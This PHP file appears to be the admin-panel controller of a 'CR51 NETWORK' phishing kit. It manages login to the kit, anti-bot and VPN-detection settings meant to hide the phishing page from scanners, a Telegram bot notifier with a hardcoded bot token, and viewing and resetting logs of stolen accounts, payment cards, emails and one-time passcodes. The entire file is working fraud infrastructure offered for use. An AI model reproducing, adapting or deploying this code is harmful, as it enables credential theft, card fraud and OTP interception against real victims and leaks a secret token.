<?php
#Mau Ngapain 
#Please Not delete my copyright
#CR51 NETWORK -> www.cr51.net
defined("ALLOW") or exit('No direct script access allowed');

class Panel
{

    private $_TOKEN = FCPATH . "CR51/Brain/.settings.ini";
    public function index()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (!is_file($this->_TOKEN)) {
            header('Location: ' . base_url() . 'install');
            exit();
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/dashboard');
        }
    }

    public function login()
    {
        if (isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel');
        } else if (!is_file($this->_TOKEN)) {
            header('Location: ' . base_url() . 'install');
            exit();
        } else {

            echo view('panel/login');
        }
    }

    public function process()
    {
        if (isset($_POST['action'])) {
            $token = $_POST['token'];

            if (empty($token)) {
                $_SESSION["sukses"] = 'swal("Error!", "Please input all fields.", "error");';
                header('Location: ' . base_url() . 'panel/login');
                exit();
            } else if ($token == _config('TOKEN')) {
                $_SESSION['token'] = $token;
                header('Location: ' . base_url() . 'panel');
            } else {
                $_SESSION["sukses"] = 'swal("Error!", "Your License wrong!!", "error");';
                header('Location: ' . base_url() . 'panel/login');
                exit();
            }
        }
    }

    public function settings()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/settings');
        }
    }
    public function update()
    {
        if (isset($_POST['updatesetting'])) {
            $result           = $_POST["result"];
            $parameter           = $_POST["parameter"];
            $cr51token           = $_POST["cr51token"];
            $antibot           = $_POST["antibot"];
            $killbot           = $_POST["killbot"];
            $trueaccount          = $_POST["trueaccount"];
            $vpndetect           = $_POST["vpndetect"];
            $token          = $_POST["token"];
            $servermail          = $_POST["servermail"];
            if (empty($token && $result && $parameter && $cr51token && $antibot && $killbot && $trueaccount && $vpndetect && $servermail)) {
                $_SESSION["sukses"] = 'swal("Error!", "Please input all fields.", "error");';
                echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/settings');
                exit();
            } else if (_config('TOKEN') !== $token) {
                $_SESSION["sukses"] = 'swal("Error!", "edit not successful.", "error");';
                echo json_encode(array("status" => "edit not successful.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/settings');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error!", "session not detect.", "error");';
                echo json_encode(array("status" => "session not detect.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "CR51/Brain/.settings.ini", "w");
                fwrite($f, "TOKEN = \"$token\"\nRESULT = \"$result\"\nPARAMETER = \"$parameter\"\nCR51TOKEN = \"$cr51token\"\nANTIBOT = \"$antibot\"\nKILLBOT = \"$killbot\"\nTRUEACCOUNT = \"$trueaccount\"\nVPNDETECT = \"$vpndetect\"\n");
                fclose($f);
                
                $s = fopen(FCPATH . "CR51/Brain/.truelog.ini", "w");
                fwrite($s, "SERVERMAIL = \"$servermail\"\n");
                fclose($s);
                
                $_SESSION["sukses"] = 'swal("Good Job!", "Edit successful.", "success");';
                echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'panel/settings');
                exit();
            }
        }

        if (isset($_POST['gasreset'])) {
            $resetlog = $_POST['resetlog'];

            if (empty($resetlog)) {
                $_SESSION["sukses"] = 'swal("Error!", "System error.", "error");';
                echo json_encode(array("status" => "System error.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error!", "session not detect.", "error");';
                echo json_encode(array("status" => "session not detect.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/logout');
                exit();
            } else if ($resetlog == "resetlog") {
                foreach (['log_account.txt', 'log_card.txt', 'log_robot.txt', 'log_email.txt', 'log_click.txt'] as $filename) {
                    file_put_contents(FCPATH . "CR51/Static/$filename", "");
                }
                $_SESSION["sukses"] = 'swal("Good Job!", "Reset Log Success.", "success");';
                echo json_encode(array("status" => "Reset Log Success.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel');
            } else {
                $_SESSION["sukses"] = 'swal("Error!", "System error.", "error");';
                echo json_encode(array("status" => "System error.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel');
                exit();
            }
        }

        if (isset($_POST['updatetoken'])) {
            $cr51token           = $_POST["cr51token"];
            if (empty($cr51token)) {
                $_SESSION["sukses"] = 'swal("Error!", "Please input all fields.", "error");';
                echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/cr51bkr');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error!", "session not detect.", "error");';
                echo json_encode(array("status" => "session not detect.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "CR51/Brain/cr51blocker.ini", "w");
                fwrite($f, "TOKEN = \"$cr51token\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("Good Job!", "Update successful.", "success");';
                echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'panel/cr51bkr');
                exit();
            }
        }

        if (isset($_POST['updateantibot'])) {
            $antibot           = $_POST["antibot"];
            if (empty($antibot)) {
                $_SESSION["sukses"] = 'swal("Error!", "Please input all fields.", "error");';
                echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/antibot');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error!", "session not detect.", "error");';
                echo json_encode(array("status" => "session not detect.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "CR51/Brain/antibot.ini", "w");
                fwrite($f, "KEY = \"$antibot\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("Good Job!", "Update successful.", "success");';
                echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'panel/antibot');
                exit();
            }
        }

        if (isset($_POST['updatekillbot'])) {
            $killbot           = $_POST["killbot"];
            if (empty($killbot)) {
                $_SESSION["sukses"] = 'swal("Error!", "Please input all fields.", "error");';
                echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/killbot');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error!", "session not detect.", "error");';
                echo json_encode(array("status" => "session not detect.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "CR51/Brain/killbot.ini", "w");
                fwrite($f, "KEY = \"$killbot\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("Good Job!", "Update successful.", "success");';
                echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'panel/killbot');
                exit();
            }
        }
        if (isset($_POST['updatetelegram'])) {
            $telegramid           = $_POST["telegramid"];
            if (empty($telegramid)) {
                $_SESSION["sukses"] = 'swal("Error!", "Please input all fields.", "error");';
                echo json_encode(array("status" => "Please input all fields.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/telegram');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error!", "session not detect.", "error");';
                echo json_encode(array("status" => "session not detect.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "CR51/Brain/telegram.ini", "w");
                fwrite($f, "ID = \"$telegramid\"\n");
                fclose($f);
                $c = curl_init();
                curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot6196690126:AAFkuuLZ9WtEA9JpqAGL9UkkKwdjP9hF9CQ/sendMessage?chat_id=' . _telegram('ID') . '&text=' . urlencode('Telegram fiture successful sent.'));
                curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
                $x = curl_exec($c);
                curl_close($c);
                $_SESSION["sukses"] = 'swal("Good Job!", "Update successful.", "success");';
                echo json_encode(array("status" => "Update successful."));
                header('Location: ' . base_url() . 'panel/telegram');
                exit();
            }
        }
    }

    public function antibot()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/antibot');
        }
    }
    public function telegram()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/telegram');
        }
    }

    public function killbot()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/killbot');
        }
    }

    public function cr51bkr()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/cr51blocker');
        }
    }

    public function static()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/static');
        }
    }
    public function otp()
    {
        if (!isset($_SESSION['token'])) {
            header('Location: ' . base_url() . 'panel/login');
        } else if (_config('TOKEN') !== $_SESSION['token']) {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else if (_config('TOKEN') == "") {
            header('Location: ' . base_url() . 'panel/logout');
            exit();
        } else {
            echo view('panel/otp');
        }
    }

    public function finished()
    {
        echo view('panel/finished');
    }

    public function resetotp()
    {
        if (isset($_POST['gasreset'])) {
            $resetotp = $_POST['resetotp'];

            if (empty($resetotp)) {
                $_SESSION["sukses"] = 'swal("Error!", "System error.", "error");';
                echo json_encode(array("status" => "System error.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/otp');
                exit();
            } else if (_config('TOKEN') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error!", "session not detect.", "error");';
                echo json_encode(array("status" => "session not detect.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/logout');
                exit();
            } else if ($resetotp == "resetotp") {
                foreach (['log_otp.txt'] as $filename) {
                    file_put_contents(FCPATH . "CR51/Static/$filename", "");
                }
                $_SESSION["sukses"] = 'swal("Good Job!", "Reset Log Success.", "success");';
                echo json_encode(array("status" => "Reset Log Success.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/otp');
            } else {
                $_SESSION["sukses"] = 'swal("Error!", "System error.", "error");';
                echo json_encode(array("status" => "System error.", "site" => "https://www.cr51.net"));
                header('Location: ' . base_url() . 'panel/otp');
                exit();
            }
        }
    }

    public function logout()
    {
        session_start();
        session_destroy();
        echo json_encode(array("status" => "Logout successful", "site" => "https://www.cr51.net"));
        header('Location: ' . base_url() . 'panel/login');
    }

    public function logclick()
    {
        if (file_exists(FCPATH . "CR51/Static/log_click.txt")) {
            $bit = file_get_contents(FCPATH . "CR51/Static/log_click.txt");
            $bit = explode("\n", $bit);
            $list = array_reverse($bit);
            foreach ($list as $cr51) {
                $cr51 = explode("|", $cr51);
                $flag = $cr51[1];
                $time = $cr51[2];
                $ip = $cr51[3];
                $countryname = $cr51[4];
                $os = $cr51[5];
                $type = $cr51[6];
                if ($ip == "") {
                } else {
                    echo "<tr>
                        <td><img src='" . $flag . "' style='width: 50px;height: 30px;'></img></td>
                        <td>" . $ip . "</td>
                        <td>" . $countryname . "</td>
                        <td>" . $os . "</td>
                        <td>" . $type . "</td>
                        <td>" . $time . "</td>
                        </tr>";
                }
            }
        } else {
            echo "<tr><td>Not found</td><td></td><td></td><td></td><td></td></tr>";
        }
    }

    public function logotp()
    {
        if (file_exists(FCPATH . "CR51/Static/log_otp.txt")) {
            $bit = file_get_contents(FCPATH . "CR51/Static/log_otp.txt");
            $bit = explode("\n", $bit);
            $list = array_reverse($bit);
            foreach ($list as $cr51) {
                $cr51 = explode("|", $cr51);
                $email = $cr51[1];
                $time = $cr51[2];
                $ip = $cr51[3];
                $otp = $cr51[4];
                $type = $cr51[5];
                if ($ip == "") {
                } else {
                    echo "<tr>
                        <td>" . $email . "</td>
                        <td><button class='btn btn-success'>" . $otp . "</button></td>
                        <td>" . $ip . "</td>
                        <td>" . $type . "</td>
                        <td>" . $time . "</td>
                        </tr>";
                }
            }
        } else {
            echo "<tr><td>Not found</td><td></td><td></td><td></td><td></td></tr>";
        }
    }

    public function json()
    {
        $log_account = file_get_contents(FCPATH . 'CR51/Static/log_account.txt');
        $log_cc       = file_get_contents(FCPATH . 'CR51/Static/log_card.txt');
        $log_click      = file_get_contents(FCPATH . 'CR51/Static/log_click.txt');
        $log_robot      = file_get_contents(FCPATH . 'CR51/Static/log_robot.txt');

        $parseAccount = explode("\r\n", $log_account);
        $parseCC       = explode("\r\n", $log_cc);
        $parseclick       = explode("\r\n", $log_click);
        $parserobot      = explode("\r\n", $log_robot);

        echo json_encode(array(
            'logaccount' => @(int) (count($parseAccount) - 1) ? (int) (count($parseAccount) - 1) : "0",
            'logcard'   => @(int) (count($parseCC) - 1) ? (int) (count($parseCC) - 1) : "0",
            'logclick'   => @(int) (count($parseclick) - 1) ? (int) (count($parseclick) - 1) : "0",
            'logrobot'   => @(int) (count($parserobot) - 1) ? (int) (count($parserobot) - 1) : "0"
        ));
    }
}
